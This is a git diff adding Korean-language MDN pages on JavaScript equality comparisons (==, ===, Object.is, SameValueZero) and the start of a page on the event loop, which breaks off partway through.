+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for..in</a></code></li>
+ <li>{{jsxref("Object.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Object.propertyIsEnumerable()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li>{{jsxref("Object.keys()")}}</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptors()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/equality_comparisons_and_sameness/index.html b/files/ko/web/javascript/equality_comparisons_and_sameness/index.html
new file mode 100644
index 0000000000..31d1778d5d
--- /dev/null
+++ b/files/ko/web/javascript/equality_comparisons_and_sameness/index.html
@@ -0,0 +1,503 @@
+---
+title: 동치 비교 및 동일성
+slug: Web/JavaScript/Equality_comparisons_and_sameness
+tags:
+  - Comparison
+  - Equality
+  - Intermediate
+  - JavaScript
+  - SameValue
+  - SameValueZero
+  - Sameness
+translation_of: Web/JavaScript/Equality_comparisons_and_sameness
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<div class="summary">
+<p>ES2015에는 4가지 같음(equality) 알고리즘이 있습니다:</p>
+
+<ul>
+ <li>추상적(abstract) 같음 비교 (<code>==</code>)</li>
+ <li>엄격한(strict) 같음 비교 (<code>===</code>): <code>Array.prototype.indexOf</code>, <code>Array.prototype.lastIndexOf</code> 및 <code>case</code> 절 매칭에 쓰임</li>
+ <li>등가0(SameValueZero): <code>Map</code> 및 <code>Set</code> 연산뿐만 아니라 <code>%TypedArray%</code> 및 <code>ArrayBuffer</code> 생성자, 그리고 ES2016에 예정된 <code>String.prototype.includes</code>에 쓰임</li>
+ <li>등가(SameValue): 그 외 모든 곳에 쓰임</li>
+</ul>
+
+<p>JavaScript는 3가지 서로 다른 값 비교 연산을 제공합니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">===</a>를 사용하는 엄격한 같음 (또는 "삼중 등호" 또는 "항등(identity)"),</li>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">==</a>를 사용하는 느슨한(loose) 같음 ("이중 등호"),</li>
+ <li>그리고 <a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/is"><code>Object.is</code></a> (ECMAScript 2015에 새로 들임).</li>
+</ul>
+
+<p>어느 연산을 쓸 지 그 선택은 당신이 어떤 종류의 비교를 수행하기 위해 찾고 있는 지에 달렸습니다.</p>
+
+<p> </p>
+
+<ul>
+ <li>이중 equals (<code>==</code>)는 두 가지를 비교할 때 유형 변환을 수행하고 IEEE 754를 준수하기 위해 <code>NaN</code>, <code>-0</code> 및 <code>+0</code>을 특별히 처리합니다 (그래서<code>NaN != NaN</code>이고 <code>-0 == +0</code>입니다);</li>
+ <li>트리플 equals (<code>===</code>)는 이중 equals (<code>NaN</code>, <code>-0</code> 및 <code>+0</code>의 특수 처리 포함)와 동일한 비교를 수행하지만 유형 변환은 수행하지 않습니다. 형식이 다른 경우 <code>false</code>가 반환됩니다.</li>
+ <li><code>Object.is</code>는 형식 변환을하지 않으며 <code>NaN</code>, <code>-0</code> 및 <code>+0</code>에 대한 특수 처리를 수행하지 않습니다 (특수 숫자 값을 제외하고는 <code>===</code>와 동일한 동작을 제공함).</li>
+</ul>
+
+<p> </p>
+</div>
+
+<p>이들 사이의 구분은 모두 원시형(primitive) 처리와 관련이 있습니다. 매개 변수가 구조적, 개념적으로 유사한 지 비교하는 것이 없습니다. 같은 구조를 가지지만 개체 자체가 각각인 비원시형(non-primitive) 개체 x 및 y의 경우 위의 모든 형태(form)는 false로 평가됩니다.</p>
+
+<h2 id="를_사용하는_엄격한_같음"><code>===</code>를 사용하는 엄격한 같음</h2>
+
+<p>엄격한 같음(strict equality)은 두 값이 같은 지 비교합니다. 어느 값도 비교되기 전에 어떤 다른 값으로 남몰래 변환되지 않습니다. 둘이 서로 다른 형이면, 둘은 같지 않다고 여깁니다. 그렇지 않고 둘이 같은 형이고 숫자가 아닌 경우, 같은 값이면 같다고 여깁니다. 끝으로, 둘이 숫자인 경우, 둘 다 <code>NaN</code>이 아닌 같은 값이거나 하나는 <code>+0</code> 또 하나는 <code>-0</code>인 경우 같다고 여깁니다.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num === num); // true
+console.log(obj === obj); // true
+console.log(str === str); // true
+
+console.log(num === obj); // false
+console.log(num === str); // false
+console.log(obj === str); // false
+console.log(null === undefined); // false
+console.log(obj === null); // false
+console.log(obj === undefined); // false
+</pre>
+
+<p>엄격한 같음은 거의 항상 사용하는 올바른 비교 연산입니다. 숫자를 뺀 모든 값에 대해, 분명한 의미(semantics)를 사용합니다: 값은 그 자체와만 같습니다(/ 단지 그 자체입니다). 숫자는 서로 다른 두 극단 상황(edge case)을 얼버무리기(gloss over) 위해 약간 다른 의미를 사용합니다. 첫째는 부동 소수점 0은 양이든 음이든 하나의 부호를 지닙니다. 이는 특정 수학상의 해결책을 나타내는 데 유용하지만, 대부분의 상황에 <code>+0</code>과 <code>-0</code>의 차이에 신경쓰지 않기에, 엄격한 같음은 둘을 같은 값으로 다룹니다. 둘째는 부동 소수점은 not-a-number 값(<code>NaN</code>) 개념을 포함합니다, 특정 잘못 정의된(ill-defined) 수학 문제의 해결책을 보여주기 위해: 예를 들어, 양의 무한대(infinity)에 추가된 음의 무한대. 엄격한 같음은 <code>NaN</code>을 다른 모든 값과 같지 않게 다룹니다 -- 자신 포함. (<code>(x !== x)</code>가 <code>true</code>인 유일한 경우는 <code>x</code>가 <code>NaN</code>일 때입니다.)</p>
+
+<h2 id="를_사용하는_느슨한_같음">==를 사용하는 느슨한 같음</h2>
+
+<p>느슨한 같음(loose equality)은 두 값이 같은 지 비교합니다, 두 값을 공통(common) 형으로 변환한 <em>후</em>에. 변환 후 (하나 또는 양쪽이 변환을 거칠 수 있음), 최종 같음 비교는 꼭 <code>===</code>처럼 수행됩니다. 느슨한 같음은 대칭(<em>symmetric</em>)입니다: <code>A == B</code>는 <code>A</code> 및 <code>B</code>가 어떤 값이든 항상 <code>B == A</code>와 같은 의미를 갖습니다 (적용된 변환의 순서 말고는).</p>
+
+<p>같음 비교는 다양한 형의 피연산자에 대해 다음과 같이 수행됩니다:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="row"> </th>
+   <th colspan="7" scope="col" style="text-align: center;">피연산자 B</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row"> </th>
+   <td> </td>
+   <td style="text-align: center;">Undefined</td>
+   <td style="text-align: center;">Null</td>
+   <td style="text-align: center;">Number</td>
+   <td style="text-align: center;">String</td>
+   <td style="text-align: center;">Boolean</td>
+   <td style="text-align: center;">Object</td>
+  </tr>
+  <tr>
+   <th colspan="1" rowspan="6" scope="row">피연산자 A</th>
+   <td>Undefined</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Null</td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>true</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td>Number</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>String</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>Boolean</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) === ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+   <td style="text-align: center;"><code>ToNumber(A) == ToPrimitive(B)</code></td>
+  </tr>
+  <tr>
+   <td>Object</td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>false</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == B</code></td>
+   <td style="text-align: center;"><code>ToPrimitive(A) == ToNumber(B)</code></td>
+   <td style="text-align: center;"><code>A === B</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>위 표에서, <code>ToNumber(A)</code>는 비교 전에 그 인수를 숫자로 변환하려고 시도합니다. 그 동작(behavior)은 <code>+A</code>(단항 + 연산자)에 해당합니다. <code>ToPrimitive(A)</code>는 그 객체 인수를 원시형 값으로 변환하려고 시도합니다, 다양한 순서로 <code>A</code>의 <code>A.toString</code> 및 <code>A.valueOf</code> 메서드 호출을 시도하여.</p>
+
+<p>전통 및 ECMAScript에 따르면, 모든 객체는 <code>undefined</code> 및 <code>null</code>과 느슨하게 같지 않습니다. 그러나 대부분의 브라우저는 일부 문맥(context)에서 <code>undefined</code>값을 모방하는(<em>emulate</em>) 것처럼 행동하기 위해 매우 좁은 부류의 객체(특히, 모든 페이지에 대한 <code>document.all</code> 객체)에 허용합니다. 느슨한 같음이 그러한 문맥 중 하나입니다: <code>null == A</code> 및 <code>undefined == A</code>는 A가 <code>undefined</code>를 <em>모방</em>하는 객체인 경우, 그리고 그 경우에만 true로 평가합니다. 다른 모든 경우에 객체는 결코 <code>undefined</code> 또는 <code>null</code>과 느슨하게 같지 않습니다.</p>
+
+<p> </p>
+
+<p>전통적으로 ECMAScript에 따르면 모든 객체는 <code>undefined</code> 및 <code>null</code>과 느슨하게 같지 않습니다. 그러나 대부분의 브라우저는 일부 문맥(context)에서 정의되지 않은 값(<code>undefined</code>)을 모방하는(<em>emulate</em>) 것처럼 동작하는 매우 좁은 개체 클래스 (특히 모든 페이지의 <code>document.all</code> 개체)를 허용합니다. Loose equality는 다음과 같은 컨텍스트 중 하나입니다. <code>null == A</code> 및 <code>undefined == A</code>는 <code>undefined</code>를 에뮬레이트하는 객체 인 경우에만 true로 평가됩니다. 다른 모든 경우에는 객체가 <code>undefined</code>거나 <code>null</code>이 될 수 없습니다.</p>
+
+<pre class="brush: js">var num = 0;
+var obj = new String("0");
+var str = "0";
+var b = false;
+
+console.log(num == num); // true
+console.log(obj == obj); // true
+console.log(str == str); // true
+
+console.log(num == obj); // true
+console.log(num == str); // true
+console.log(obj == str); // true
+console.log(null == undefined); // true
+
+// 둘 다 false, 드문 경우를 제외하고는
+console.log(obj == null);
+console.log(obj == undefined);
+</pre>
+
+<p>대부분의 경우 느슨한 같음을 사용하는 것은 바람직하지 않습니다. strict equality를 사용한 비교의 결과는 예측하기가 쉽고 형 강제(coercion) 변환이 일어나지 않기에 평가가 빠를 수 있습니다.</p>
+
+<p> </p>
+
+<h2 id="Same-value_equality">Same-value equality</h2>
+
+<p>등가(same-value) 같음은 최종 사용 사례(use case)를 다룹니다: 두 값이 모든 문맥에서 <em>기능상 같은지</em> 여부를 결정하는. (이 사용 사례는 <a href="https://ko.wikipedia.org/wiki/리스코프_치환_원칙" title="Liskov substitution principle">리스코프 치환 원칙</a>의 실례를 보입니다.) 다음은 불변 속성(property)을 변화시키려 시도할 때 일어나는 한 사례입니다:</p>
+
+<pre class="brush: js">// 불변(immutable) NEGATIVE_ZERO 속성을 Number 생성자에 추가.
+Object.defineProperty(Number, "NEGATIVE_ZERO",
+                      { value: -0, writable: false, configurable: false, enumerable: false });
+
+function attemptMutation(v)
+{
+  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
+}
+</pre>
+
+<p><code>Object.defineProperty</code>는 변경 불가능한 속성을 변경하려고 시도 할 때 예외를 throw하지만 실제 변경이 요청되지 않으면 아무 것도 수행하지 않습니다. <code>v</code>가 <code>-0</code>이면, 변경 사항이 요청되지 않고 오류가 발생하지 않습니다. 내부적으로, 불변의 property가 재정의 (redefined)되었을 때, 새롭게 지정된 값은 같은 값의 동등성을 사용해 현재의 값과 비교됩니다.</p>
+
+<p>Same-value equality는 {{jsxref("Object.is")}} 메서드로 제공됩니다.</p>
+
+<h2 id="Same-value-zero_equality">Same-value-zero equality</h2>
+
+<p>등가 같음과 비슷하지만 +0과 -0이 같다고 여깁니다.</p>
+
+<h2 id="스펙_내_추상적_같음_엄격한_같음_및_등가">스펙 내 추상적 같음, 엄격한 같음 및 등가</h2>
+
+<p>In ES5, the comparison performed by <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>==</code></a> is described in <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.3">Section 11.9.3, The Abstract Equality Algorithm</a>. The <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>===</code></a> comparison is <a href="http://ecma-international.org/ecma-262/5.1/#sec-11.9.6">11.9.6, The Strict Equality Algorithm</a>. (Go look at these. They're brief and readable. Hint: read the strict equality algorithm first.) ES5 also describes, in <a href="http://ecma-international.org/ecma-262/5.1/#sec-9.12">Section 9.12, The SameValue Algorithm</a> for use internally by the JS engine. It's largely the same as the Strict Equality Algorithm, except that 11.9.6.4 and 9.12.4 differ in handling {{jsxref("Number")}}s. ES2015 simply proposes to expose this algorithm through {{jsxref("Object.is")}}.</p>
+
+<p>We can see that with double and triple equals, with the exception of doing a type check upfront in 11.9.6.1, the Strict Equality Algorithm is a subset of the Abstract Equality Algorithm, because 11.9.6.2–7 correspond to 11.9.3.1.a–f.</p>
+
+<h2 id="같음_비교를_이해하기_위한_모델은">같음 비교를 이해하기 위한 모델은?</h2>
+
+<p>ES2015 이전에, 이중 등호 및 삼중 등호에 대해 하나가 다른 하나의 "확장"판이라고 (말)했을 지 모릅니다. 예를 들어, 누군가는 이중 등호는 삼중 등호의 확장판이라고 합니다, 전자는 후자가 하는 모든 것을 하지만 그 피연산자에 형 변환을 하기에. 가령, <code>6 == "6"</code>. (대신에, 이중 등호는 기준선이고 삼중 등호는 향상판이라고 하는 이도 있습니다, 두 피연산자가 같은 형이길 요구하고 그래서 별도 제약을 추가하기에. 어느 게 더 이해하기 좋은 모델인지는 당신이 상태(things)를 보기 위해 선택한 방법에 달렸습니다.)</p>
+
+<p>However, this way of thinking about the built-in sameness operators is not a model that can be stretched to allow a place for ES2015's {{jsxref("Object.is")}} on this "spectrum". {{jsxref("Object.is")}} isn't simply "looser" than double equals or "stricter" than triple equals, nor does it fit somewhere in between (i.e., being both stricter than double equals, but looser than triple equals). We can see from the sameness comparisons table below that this is due to the way that {{jsxref("Object.is")}} handles {{jsxref("NaN")}}. Notice that if <code>Object.is(NaN, NaN)</code>evaluated to <code>false</code>, we <em>could</em> say that it fits on the loose/strict spectrum as an even stricter form of triple equals, one that distinguishes between <code>-0</code> and <code>+0</code>. The {{jsxref("NaN")}} handling means this is untrue, however. Unfortunately, {{jsxref("Object.is")}} simply has to be thought of in terms of its specific characteristics, rather than its looseness or strictness with regard to the equality operators.</p>
+
+<p> </p>
+
+<table>
+ <caption>Sameness Comparisons</caption>
+ <thead>
+  <tr>
+   <th scope="col">x</th>
+   <th scope="col">y</th>
+   <th scope="col"><code>==</code></th>
+   <th scope="col"><code>===</code></th>
+   <th scope="col"><code>Object.is</code></th>
+   <th scope="col"><code>SameValueZero</code></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>undefined</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>null</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>'foo'</code></td>
+   <td><code>'foo'</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>+0</code></td>
+   <td><code>-0</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>+0</code></td>
+   <td><code>0</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>-0</code></td>
+   <td><code>0</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td><code>0</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>'0'</code></td>
+   <td><code>0</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>'17'</code></td>
+   <td><code>17</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>[1, 2]</code></td>
+   <td><code>'1,2'</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String('foo')</code></td>
+   <td><code>'foo'</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>undefined</code></td>
+   <td><code>true</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>null</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>undefined</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>{ foo: 'bar' }</code></td>
+   <td><code>{ foo: 'bar' }</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String('foo')</code></td>
+   <td><code>new String('foo')</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>null</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>NaN</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>'foo'</code></td>
+   <td><code>NaN</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>NaN</code></td>
+   <td><code>NaN</code></td>
+   <td><code>false</code></td>
+   <td><code>false</code></td>
+   <td><code>true</code></td>
+   <td><code>true</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p> </p>
+
+<h2 id="jsxref(Object.is)_대신_삼중_등호를_사용하는_경우">{{jsxref("Object.is")}} 대신 삼중 등호를 사용하는 경우</h2>
+
+<p>In general, the only time {{jsxref("Object.is")}}'s special behavior towards zeros is likely to be of interest is in the pursuit of certain meta-programming schemes, especially regarding property descriptors, when it is desirable for your work to mirror some of the characteristics of {{jsxref("Object.defineProperty")}}. If your use case does not require this, it is suggested to avoid {{jsxref("Object.is")}} and use <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators" title="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators"><code>===</code></a> instead. Even if your requirements involve having comparisons between two {{jsxref("NaN")}} values evaluate to <code>true</code>, generally it is easier to special-case the {{jsxref("NaN")}} checks (using the {{jsxref("isNaN")}} method available from previous versions of ECMAScript) than it is to work out how surrounding computations might affect the sign of any zeros you encounter in your comparison.</p>
+
+<p>여기 당신 코드에서 그 자체를 드러내기 위해 <code>-0</code>과 <code>+0</code> 사이의 구별을 일으킬 수도 있는 철저하지 않은(in-exhaustive) 내장 메서드 및 연산자 목록이 있습니다:</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#-_.28Unary_Negation.29"><code>- (unary negation)</code></a><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span></dt>
+</dl>
+
+<pre class="syntaxbox">let stoppingForce = obj.mass * -obj.velocity</pre>
+
+<dl>
+ <dd>
+ <p><code>obj.velocity</code>가 <code>0</code>인 (또는 <code>0</code>으로 계산하는) 경우, <code>-0</code>이 그 자리에 소개되고 <code>stoppingForce</code>로 전해집니다. </p>
+ </dd>
+ <dt>{{jsxref("Math.atan2")}}</dt>
+ <dt>{{jsxref("Math.ceil")}}</dt>
+ <dt>{{jsxref("Math.pow")}}</dt>
+ <dt>{{jsxref("Math.round")}}<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span></dt>
+ <dd>In some cases,it's possible for a <code>-0</code> to be introduced into an expression as a return value of these methods even when no <code>-0</code> exists as one of the parameters. For example, using {{jsxref("Math.pow")}} to raise {{jsxref("Infinity", "-Infinity")}} to the power of any negative, odd exponent evaluates to <code>-0</code>. Refer to the documentation for the individual methods. </dd>
+</dl>
+
+<dl>
+ <dt>{jsxref("Math.floor")}}</dt>
+ <dt>{{jsxref("Math.max")}}</dt>
+ <dt>{{jsxref("Math.min")}}</dt>
+ <dt>{{jsxref("Math.sin")}}</dt>
+ <dt>{{jsxref("Math.sqrt")}}</dt>
+ <dt>{{jsxref("Math.tan")}}<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> </span></dt>
+ <dd>It's possible to get a <code>-0</code> return value out of these methods in some cases where a <code>-0</code> exists as one of the parameters. E.g., <code>Math.min(-0, +0)</code> evaluates to <code>-0</code>. Refer to the documentation for the individual methods.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">~</a></code></dt>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&lt;&lt;</a></code></dt>
+ <dt><code><a href="/ko/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">&gt;&gt;</a></code></dt>
+ <dd>이러한 연산자 각각은 내부에서 ToInt32 알고리즘을 사용합니다. 내부 32-bit 정수형에는 0에 대해 한 표현만 있기에, <code>-0</code>은 역(inverse) 연산 후 왕복 여행(round trip, 이중 역 연산)에 살아남지 못합니다. 가령, <code>Object.is(~~(-0), -0)</code>와 <code>Object.is(-0 &lt;&lt; 2 &gt;&gt; 2, -0)</code>는 <code>false</code>로 평가합니다.</dd>
+</dl>
+
+<p>Relying on {{jsxref("Object.is")}} when the signedness of zeros is not taken into account can be hazardous. Of course, when the intent is to distinguish between <code>-0</code> and <code>+0</code>, it does exactly what's desired.</p>
+
+<h2 id="Caveat_jsxref(Object.is)_and_NaN">Caveat: {{jsxref("Object.is")}} and NaN</h2>
+
+<p>The {{jsxref("Object.is")}} specification treats all instances of {{jsxref("NaN")}} as the same object. However, since <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Typed_arrays">typed arrays</a> are available, we can have distinct instances, which don't behave identically in all contexts. For example:</p>
+
+<pre><code>var f2b = x =&gt; new Uint8Array(new Float64Array([x]).buffer);
+var b2f = x =&gt; new Float64Array(x.buffer)[0];
+var n = f2b(NaN);
+n[0] = 1;
+var nan2 = b2f(n);
+nan2;
+// &gt; NaN
+Object.is(nan2, NaN);
+// &gt; true
+f2b(NaN);
+// &gt; Uint8Array(8) [0, 0, 0, 0, 0, 0, 248,127)
+f2b(nan2);
+// &gt; Uint8Array(8) [1, 0, 0, 0, 0, 0, 248,127)</code></pre>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="http://dorey.github.io/JavaScript-Equality-Table/">JS 비교 표</a></li>
+</ul>
diff --git a/files/ko/web/javascript/eventloop/index.html b/files/ko/web/javascript/eventloop/index.html
new file mode 100644
index 0000000000..bc4330700d
--- /dev/null
+++ b/files/ko/web/javascript/eventloop/index.html
@@ -0,0 +1,147 @@
+---
+title: 동시성 모델과 이벤트 루프
+slug: Web/JavaScript/EventLoop
+tags:
+  - 이벤트 루프
+translation_of: Web/JavaScript/EventLoop
+---
+<div>{{JsSidebar("Advanced")}}</div>
+
+<p>자바스크립트는 코드 실행, 이벤트 수집과 처리, 큐에 놓인 하위 작업들을 담당하는 <strong>이벤트 루프</strong>에 기반한 동시성(concurrency) 모델을 가지고 있습니다. 이 모델은 C 또는 Java와 같은 언어와 완전히 다릅니다.</p>
+
+<h2 id="런타임_개념">런타임 개념</h2>
+
+<p>이어지는 섹션에서는 이론적 모델을 설명합니다. 모던 자바스크립트 엔진들은 아래 묘사된 개념들을 구현하고 최적화 합니다.</p>
+
+<h3 id="시각적_표현">시각적 표현</h3>
+
+<p style="text-align: center;"><img alt="Stack, heap, queue" src="/files/4617/default.svg" style="height: 270px; width: 294px;"></p>
+
+<h3 id="Stack">Stack</h3>
+
+<p>함수 호출은 <em>프레임</em>들의 스택을 형성합니다.</p>
+
+<pre class="brush: js"><code>function foo(b) {
+  var a = 10;
+  return a + b + 11;
+}
+
+function bar(x) {
+  var y = 3;
+  return foo(x * y);
+}
+
+console.log(bar(7)); //returns 42</code></pre>
+
+<p><code>bar</code>를 호출할 때, <code>bar</code>의 인자와 지역 변수를 포함하는 첫 번째 프레임이 생성됩니다. <code>bar</code>가 <code>foo</code>를 호출하면 두 번째 프레임이 만들어져 <code>foo</code>의 인수와 지역 변수가 들어있는 첫 번째 프레임의 맨 위에 푸시됩니다. <code>foo</code>가 반환되면, 최상위 프레임 요소는 <code>bar</code>의 호출 프레임만을 남겨둔 채로 스택 밖으로 빠져나옵니다. <code>bar</code>가 반환되면, 스택은 비워집니다.</p>
+
+<h3 id="Heap">Heap</h3>
+
+<p>객체들은 힙 안에 할당됩니다. 힙은 구조화되지 않은 넓은 메모리 영역을 지칭합니다.</p>
+
+<h3 id="Queue">Queue</h3>
+
+<p>JavaScript 런타임은 처리 할 메시지 목록 인 메시지 대기열을 사용합니다. 각 메시지에는 메시지를 처리하기 위해 호출되는 관련 함수가 있습니다.</p>
+
+<p>{{anch("Event loop", "event loop")}} 중 어떤 시점에서 런타임은 대기열에서 가장 오래된 메시지부터 처리하기 시작합니다. 그렇게하기 위해, 메시지는 큐에서 제거되고 해당 기능이 메시지를 입력 매개 변수로 호출됩니다. 언제나 그렇듯이, 함수를 호출하면 그 함수의 사용을위한 새로운 스택 프레임이 생성됩니다.</p>
+
+<p>함수의 처리는 스택이 다시 비워 질 때까지 계속됩니다. 이벤트 루프는 큐의 다음 메시지를 처리합니다(존재할 경우).</p>
+
+<h2 id="Event_loop">Event loop</h2>
+
+<p><strong>Event loop</strong>는 그 구현 방식 때문에 붙은 이름이며 보통 다음과 유사합니다 :</p>
+
+<pre class="brush: js">while(queue.waitForMessage()){
+  queue.processNextMessage();
+}</pre>
+
+<p><code>queue.waitForMessage()</code> 함수는 현재 아무 메시지도 없다면 새로운 메시지 도착을 동기적으로 기다립니다.</p>
+
+<h3 id="Run-to-completion">"Run-to-completion"</h3>
+
+<p>각 메시지는 다른 메시지가 처리되기 전에 완전히 처리됩니다.</p>
+
